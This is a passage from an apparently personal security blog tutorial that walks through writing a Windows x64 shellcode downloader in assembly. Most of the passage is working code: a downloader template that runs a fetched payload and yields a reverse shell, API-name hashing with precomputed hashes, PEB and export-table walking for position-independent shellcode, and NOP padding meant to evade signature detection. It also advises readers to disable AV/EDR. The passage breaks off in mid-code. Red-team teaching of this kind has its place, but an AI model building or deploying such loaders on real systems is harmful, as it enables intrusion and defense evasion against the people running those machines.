    <span class="nf">call</span> <span class="nv">WaitForSingleObject</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hThread</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nb">Cl</span><span class="nv">oseHandle</span>

    <span class="c1">; ---- Free memory ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">mem_buffer</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">0</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mh">0x8000</span>                <span class="c1">; MEM_RELEASE</span>
    <span class="nf">call</span> <span class="nv">VirtualFree</span>

    <span class="c1">; Exit</span>
    <span class="nf">xor</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span>
    <span class="nf">call</span> <span class="nv">ExitProcess</span>
</code></pre></div></div>

<p>Go ahead and compile that and run it.  Be sure to turn off your AV/EDR for now to have a smooth learning experience.  This isn’t exactly EDR bypass material just yet 😸</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nasm <span class="nt">-f</span> win64 downloader.asm
x86_64-w64-mingw32-gcc downloader.obj <span class="nt">-o</span> downloader.exe <span class="nt">-lwininet</span> <span class="nt">-lkernel32</span>
</code></pre></div></div>

<p>You should be greeted with a nice reverse shell!</p>

<p><img width="995" height="269" alt="image" src="https://github.com/user-attachments/assets/a5494ffd-d22c-4be8-88a4-a4f8b2f97706" /></p>

<p>Cool, so we know it works.  😸 Plus, using <code class="language-plaintext highlighter-rouge">externs</code> for our APIs simplifies the process for conceptualizing going from C++ code to x64 assembly.  However, we now need to step it up a notch and move toward our end goal of PIC friendly shellcode.  This will remove all reliance upon .bss uniitialized variables and the .data section for starters.  But first, we need to prepare for loading all those APIs we used in this Phase 1 template.  We’ll do that next!</p>

<h2 id="api-hashing-in-x64-assembly">API Hashing in x64 Assembly</h2>

<p>Okay, so we need to start working our way toward that PIC shellcode.  Once again, that is Position Independent Shellcode that can be executed without reliance on any hardcoded memory addresses or initialized/uninitialized variables.</p>

<p>We’re going to use a ROT5 (ROTATE LEFT 5) + XOR hashing technique.  In essence, we are performing a bitwise rotatation of each character in our API string left by 5, and then Xoring it.  This will produce a reliable and unique hash.
Here’s what that hashing routine looks like:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">initiator:</span>
    <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
<span class="nl">next_char:</span>
    <span class="nf">mov</span> <span class="nb">bl</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>       <span class="c1">; load next char</span>
    <span class="nf">test</span> <span class="nb">bl</span><span class="p">,</span> <span class="nb">bl</span>
    <span class="nf">jz</span> <span class="nv">store_hash</span>
    <span class="nf">rol</span> <span class="nb">eax</span><span class="p">,</span> <span class="mi">5</span>          <span class="c1">; rotate hash left 5 bits</span>
    <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">ebx</span>        <span class="c1">; hash ^= char</span>
    <span class="nf">inc</span> <span class="nb">rsi</span>
    <span class="nf">jmp</span> <span class="nv">next_char</span>
</code></pre></div></div>

<p>It’s as simple as that.  The rest of the assembly code is really just listing the APIs we wish to use to generate our hashes and then pushing the hashed value to the stack.  Here’s the full code!</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">bits</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.data</span>
<span class="nf">api1</span> <span class="nv">db</span> <span class="s">"GetProcAddress"</span><span class="p">,</span><span class="mi">0</span>
<span class="nf">api2</span> <span class="nv">db</span> <span class="err">"</span><span class="nv">InternetOpenA</span><span class="s">",0
api3 db "</span><span class="nv">RtlMoveMemory</span><span class="s">",0
api4 db "</span><span class="nv">InternetOpenUrlA</span><span class="s">",0
api5 db "</span><span class="nv">InternetReadFile</span><span class="s">",0
api6 db "</span><span class="nv">InternetCloseHandle</span><span class="s">",0
api7 db "</span><span class="nb">Cl</span><span class="nv">oseHandle</span><span class="s">",0
api8 db "</span><span class="nv">ExitProcess</span><span class="s">",0
api9 db "</span><span class="nv">VirtualAlloc</span><span class="s">",0
api10 db "</span><span class="nv">VirtualFree</span><span class="s">",0
api11 db "</span><span class="nv">VirtualProtect</span><span class="s">",0
api12 db "</span><span class="nv">CreateThread</span><span class="s">",0
api13 db "</span><span class="nv">WaitForSingleObject</span><span class="s">",0
api14 db "</span><span class="nv">LoadLibraryA</span><span class="err">"</span><span class="p">,</span><span class="mi">0</span>

<span class="nf">section</span> <span class="nv">.bss</span>
<span class="c1">;api1_hash resd 1        ; reserve 4 bytes for the hash (DWORD)</span>

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>
<span class="nl">main:</span>
    <span class="nf">xor</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span>            <span class="c1">; counter to know which API we're on</span>
    <span class="c1">; Hash the string</span>
    <span class="nl">api_1:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api1</span><span class="p">]</span> <span class="c1">; rsi = pointer to string</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_2:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api2</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_3:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api3</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_4:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api4</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_5:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api5</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_6:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api6</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_7:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api7</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_8:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api8</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_9:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api9</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_10:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api10</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_11:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api11</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_12:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api12</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_13:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api13</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>
    <span class="nl">api_14:</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">api14</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nv">initiator</span>

<span class="nl">initiator:</span>
    <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
    
<span class="nl">next_char:</span>
    <span class="nf">mov</span> <span class="nb">bl</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>       <span class="c1">; load next char</span>
    <span class="nf">test</span> <span class="nb">bl</span><span class="p">,</span> <span class="nb">bl</span>
    <span class="nf">jz</span> <span class="nv">store_hash</span>
    <span class="nf">rol</span> <span class="nb">eax</span><span class="p">,</span> <span class="mi">5</span>          <span class="c1">; rotate hash left 5 bits</span>
    <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">ebx</span>        <span class="c1">; hash ^= char</span>
    <span class="nf">inc</span> <span class="nb">rsi</span>
    <span class="nf">jmp</span> <span class="nv">next_char</span>

<span class="nl">store_hash:</span>
    <span class="c1">;mov [rel api1_hash], eax  ; store final hash in .bss</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">inc</span> <span class="nb">ecx</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">1</span>
    <span class="nf">je</span> <span class="nv">api_2</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">2</span>
    <span class="nf">je</span> <span class="nv">api_3</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">3</span>
    <span class="nf">je</span> <span class="nv">api_4</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">4</span>
    <span class="nf">je</span> <span class="nv">api_5</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">5</span>
    <span class="nf">je</span> <span class="nv">api_6</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">6</span>
    <span class="nf">je</span> <span class="nv">api_7</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">7</span>
    <span class="nf">je</span> <span class="nv">api_8</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">8</span>
    <span class="nf">je</span> <span class="nv">api_9</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">9</span>
    <span class="nf">je</span> <span class="nv">api_10</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">10</span>
    <span class="nf">je</span> <span class="nv">api_11</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">11</span>
    <span class="nf">je</span> <span class="nv">api_12</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">12</span>
    <span class="nf">je</span> <span class="nv">api_13</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">13</span>
    <span class="nf">je</span> <span class="nv">api_14</span>
    <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mi">14</span>
    <span class="nf">je</span> <span class="nv">goodbye</span>

    <span class="nl">goodbye:</span>
    <span class="nf">int3</span>
    <span class="nf">int3</span>
    <span class="nf">int3</span>
</code></pre></div></div>

<p>Here’s what that looks like in action.  Be sure to pay attention to the bottom right hand corner of x64dbg to see the hashed APIs pushed to the stack!</p>

<iframe width="1080" height="720" src="https://www.youtube.com/embed/Dxu9h35hw58" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe>

<p>So now we have our hashes ready to go!  They are as follows (not in the order I pushed them in x64dbg btw):</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">api6</span> <span class="nv">dd</span> <span class="mh">0xA4A1011B</span>  <span class="c1">;loadlibrarya</span>
<span class="nf">api1</span> <span class="nv">dd</span> <span class="mh">0x80778D35</span>  <span class="c1">;waitforsingleobject</span>
<span class="nf">api9</span> <span class="nv">dd</span> <span class="mh">0xCEFC5AFD</span>  <span class="c1">;createthread</span>
<span class="nf">api2</span> <span class="nv">dd</span> <span class="mh">0x4A155ACA</span>  <span class="c1">;virtualprotect</span>
<span class="nf">api3</span> <span class="nv">dd</span> <span class="mh">0x85B79578</span>  <span class="c1">;virtualfree</span>
<span class="nf">api4</span> <span class="nv">dd</span> <span class="mh">0xB68D8A33</span>  <span class="c1">;virtualalloc</span>
<span class="nf">api8</span> <span class="nv">dd</span> <span class="mh">0xE3DB70A7</span>  <span class="c1">;exitprocess</span>
<span class="nf">api10</span> <span class="nv">dd</span> <span class="mh">0xD7277164</span>  <span class="c1">;closehandle</span>
<span class="nf">api5</span> <span class="nv">dd</span> <span class="mh">0xC7DEFE95</span>  <span class="c1">;rtlmovememory</span>
<span class="nf">api7</span> <span class="nv">dd</span> <span class="mh">0xE536B693</span>  <span class="c1">; getprocaddress</span>
</code></pre></div></div>

<p>Ok so now it’s time dive into the full, revised assembly code.  This time around, we will be producing the PIC formatted assembly code.  I’ll try and provide comments throughout but I promise to go into even greater detail in my soon to be x64 Assembly/Shellcode video series.  It will be a purchaseable item in my ko-fi shop once it’s ready.  Ok let’s start laying this code out.  I’ll be going over it in segments because there’s a lot to cover.  I corrected an issue with the loop code in the earlier examples by the way, so the read file loop will look a bit different in the PIC code.  Just FYI. See my comments inline below:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;x86_64-w64-mingw32-gcc downloader.obj -o downloader.exe</span>

<span class="k">BITS</span> <span class="mi">64</span>

<span class="k">SECTION</span> <span class="nv">.data</span>
<span class="k">SECTION</span> <span class="nv">.bss</span>

<span class="c1">;**********************************************************************</span>
<span class="c1">; This first part is just the standard prologue that all shellcode uses</span>
<span class="c1">; to walk the PEB and locate our API function addresses in memory</span>
<span class="c1">;**********************************************************************</span>

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>
<span class="nl">main:</span>
                         <span class="c1">; metasploit shellcode normally starts with the same hex values.  using nops to start will help ours stand out less :)</span>
                         <span class="c1">; plus this will be custom made shellcode so that helps too :)</span>
<span class="nf">nop</span>                      <span class="c1">;throw off rudimentary signature detection based on shellcode patterns</span>
<span class="nf">nop</span>                      <span class="c1">;throw off rudimentary signature detection based on shellcode patterns</span>
<span class="nf">nop</span>                      <span class="c1">;throw off rudimentary signature detection based on shellcode patterns</span>
<span class="nf">nop</span>                      <span class="c1">;throw off rudimentary signature detection based on shellcode patterns</span>
<span class="nf">nop</span>                      <span class="c1">;throw off rudimentary signature detection based on shellcode patterns</span>
<span class="nf">nop</span>                      <span class="c1">;throw off rudimentary signature detection based on shellcode patterns</span>
<span class="nf">nop</span>                      <span class="c1">;throw off rudimentary signature detection based on shellcode patterns</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>             <span class="c1">; RCX = 0</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">gs</span><span class="p">:</span><span class="nb">rcx</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span> <span class="c1">; RAX = PEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">]</span>    <span class="c1">; RAX = PEB-&gt;Ldr</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,[</span><span class="nb">rax</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span>       <span class="c1">;PEB.Ldr-&gt;InMemOrderModuleList</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,[</span><span class="nb">rsi</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="o">+</span><span class="mh">0x30</span><span class="p">]</span>      <span class="c1">;kernel32.dll base address</span>
<span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nb">rbx</span>              <span class="c1">; mov kernel32.dll base addr into r8</span>
<span class="c1">;Code for parsing Export Address Table</span>
<span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="mh">0x3C</span><span class="p">]</span>           <span class="c1">; Get Kernel32 PE Signature (offset 0x3C) into EBX</span>
<span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; Add signature offset to kernel32 base. Store in RBX.</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                  <span class="c1">; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add</span>
<span class="nf">add</span> <span class="nb">cx</span><span class="p">,</span> <span class="mh">0x88ff</span>
<span class="nf">shr</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mh">0x8</span>                  <span class="c1">; RCX = 0x88ff --&gt; 0x88</span>
<span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="nb">rcx</span><span class="p">]</span>            <span class="c1">; EDX = [&amp;NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable</span>
<span class="nf">add</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RDX = kernel32.dll + RVA ExportTable = ExportTable Address</span>
<span class="nf">mov</span> <span class="nb">r10d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x14</span><span class="p">]</span>          <span class="c1">; Number of functions</span>
<span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>                  <span class="c1">; Zero R11 before use</span>
<span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x20</span><span class="p">]</span>          <span class="c1">; AddressOfNames RVA</span>
<span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; AddressOfNames VMA</span>
<span class="nf">mov</span> <span class="nv">r13</span><span class="p">,</span> <span class="nv">r11</span>                  <span class="c1">; Save for later</span>
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nv">r10</span>                  <span class="c1">; Set loop counter</span>

<span class="c1">;**********************************************************************</span>
<span class="c1">; In short, this second part is where we start cycling through all the API functions</span>
<span class="c1">; Starting with Z and working our way to A</span>
<span class="c1">; While that's happening, we hash each API with our hashing routine we discussed earlier</span>
<span class="c1">; And compare the hashed value with our predetermined hash values and see if there's a match!</span>
<span class="c1">;**********************************************************************</span>

<span class="nl">kernel32findfunction:</span>             <span class="c1">; Loop over Export Address Table to find WinApi names</span>
    <span class="nf">jecxz</span> <span class="nv">FunctionNameNotFound</span>    <span class="c1">; Loop around this function until we find WinExec</span>
    <span class="nf">xor</span> <span class="nb">ebx</span><span class="p">,</span><span class="nb">ebx</span>                   <span class="c1">; Zero EBX for use</span>
    <span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; EBX = RVA for first AddressOfName</span>
    <span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name</span>
    <span class="nf">dec</span> <span class="nb">rcx</span>                       <span class="c1">; Decrement our loop by one, this goes from Z to A</span>
    <span class="nf">jmp</span> <span class="nv">hashinitiator</span>
<span class="nl">FunctionNameNotFound:</span>
<span class="nf">jmp</span> <span class="nv">continuation</span>
<span class="nl">FunctionNameFound:</span>                <span class="c1">; Get function address from AddressOfFunctions</span>
   <span class="nf">inc</span> <span class="nb">ecx</span>                        <span class="c1">; increase counter by 1 to account for decrement in loop</span>
   <span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>
   <span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x1c</span><span class="p">]</span>           <span class="c1">; AddressOfFunctions RVA</span>
   <span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions</span>
   <span class="nf">mov</span> <span class="nb">r15d</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; Get the function RVA.</span>
   <span class="nf">add</span> <span class="nv">r15</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; Found the API! w00t!</span>
   <span class="nf">push</span> <span class="nv">r15</span>                       <span class="c1">; Push the API we found to the stack for retrieval later.  We do this for all of them</span>
   <span class="nf">mov</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r13</span>
   <span class="nf">dec</span> <span class="nb">ecx</span>
   <span class="nf">jmp</span> <span class="nv">kernel32findfunction</span>

   <span class="c1">;********************************************************</span>
   <span class="c1">; This is our hashing routine where we check if our hash</span>
   <span class="c1">; matches the hash of the current API function</span>
   <span class="c1">;********************************************************</span>

   <span class="nl">hashinitiator:</span>
       <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
       <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nb">rbx</span>
       <span class="nf">xor</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rbx</span>
   <span class="nl">next_char:</span>
       <span class="nf">mov</span> <span class="nb">bl</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>       <span class="c1">; load next char</span>
       <span class="nf">test</span> <span class="nb">bl</span><span class="p">,</span> <span class="nb">bl</span>
       <span class="nf">jz</span> <span class="nb">ch</span><span class="nv">eck_hash</span>
       <span class="nf">rol</span> <span class="nb">eax</span><span class="p">,</span> <span class="mi">5</span>          <span class="c1">; rotate hash left 5 bits</span>
       <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">ebx</span>        <span class="c1">; hash ^= char</span>
       <span class="nf">inc</span> <span class="nb">rsi</span>
       <span class="nf">jmp</span> <span class="nv">next_char</span>

   <span class="c1">;********************************************************</span>
   <span class="c1">; This is where we check the hash generated and stored in the EAX register</span>
   <span class="c1">; with all of our pretermined hash values</span>
   <span class="c1">; if there's a match that's found, we jump to FunctionNameFound</span>
   <span class="c1">; and save the hash by pushing it to the stack</span>
   <span class="c1">;********************************************************</span>

   <span class="nl">check_hash:</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x80778D35</span>                <span class="c1">; Compare all bytes of eax with our pretermined hash values</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>               <span class="c1">; If match, function found</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x4A155ACA</span>                
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>               
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x85B79578</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xB68D8A33</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xC7DEFE95</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xA4A1011B</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xE536B693</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xE3DB70A7</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xCEFC5AFD</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xD7277164</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>
   
   <span class="nf">jmp</span> <span class="nv">kernel32findfunction</span>
   
<span class="nl">continuation:</span>

   <span class="c1">;********************************************************</span>
   <span class="c1">; CONGRATS!  you found all the hashes, let's continue</span>
   <span class="c1">;******************************************************** </span>

</code></pre></div></div>

<p>Phew!  that’s a lot to take in am I right?  Well there’s a lot more to it so hang on tight.  It doesn’t get much easier lol.  Then again, that’s what I love about this stuff!  The challenge is intoxicating, at least for me, and I thrive on a good challenge 😸  Ok spoiler alert.  I’m not going to be able to go into incredible detail on every aspect of the remaining code, though I will share it.  I like to keep these blog posts digestable in an easy to read fashion.  Not too wordy/lengthy, and my aim it to teach you while retaining your attention 😄  I’ll show you how the code works up to this point, and briefly explain the rest.  Then we need to move on to the syscalls!</p>

<iframe width="1080" height="720" src="https://www.youtube.com/embed/VDKQnw4YLn8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe>

<p>As you can see, we managed to generate the API function names we were looking for using our hashes!</p>

<p>Next up, we basically locate the functions we need and call them</p>

<blockquote>
  <p><strong>Let’s locate GetProcAddress and Wininet</strong></p>
</blockquote>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c1">;****************************************************</span>
<span class="c1">; basically, all we need to do is locate our value's place on the stack</span>
<span class="c1">; for instance, LoadLibraryA is 80 bytes from where our stack pointer is </span>
<span class="c1">; so we add rsp + 80 and we store that value in rax</span>
<span class="c1">; then call it!  </span>
<span class="c1">; rinse and repeat.  That's really all there is to it</span>
<span class="c1">; I used x64dbg to determine where they were on the stack by trial and error</span>
<span class="c1">;****************************************************</span>

<span class="c1">;locate wininet.dll</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x9074656E696E6977</span>     <span class="c1">; Add "wininet" string to RAX.</span>
    <span class="nf">shl</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x8</span>
    <span class="nf">shr</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x8</span>
    <span class="nf">push</span> <span class="nb">rax</span>                        <span class="c1">; Push RAX to stack</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rsp</span>                    <span class="c1">; Move a pointer to User32.dll into RCX.</span>
    <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>                   <span class="c1">; stack alignment</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">+</span> <span class="mi">10</span><span class="o">*</span><span class="mi">8</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nb">rax</span>                        <span class="c1">; Call LoadLibraryA("wininet.dll")</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>                   <span class="c1">; stack alignment</span>
    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rax</span>                    <span class="c1">; holds wininet.dll address</span>

<span class="c1">; Prepare arguments for GetProcAddress to locate InternetOpenA</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rdi</span>                    <span class="c1">; RCX = handle to wininet.dll (first argument)</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x909090416E65704F</span>         <span class="c1">; Load "OpenA" into RAX</span>
    <span class="nf">shl</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x18</span>                    <span class="c1">; 0000000041786F00</span>
    <span class="nf">shr</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x18</span>                    <span class="c1">; 000000000041786F</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x74656E7265746E49</span>     <span class="c1">; Load "Internet" into RAX                  </span>
    <span class="nf">push</span> <span class="nb">rax</span>
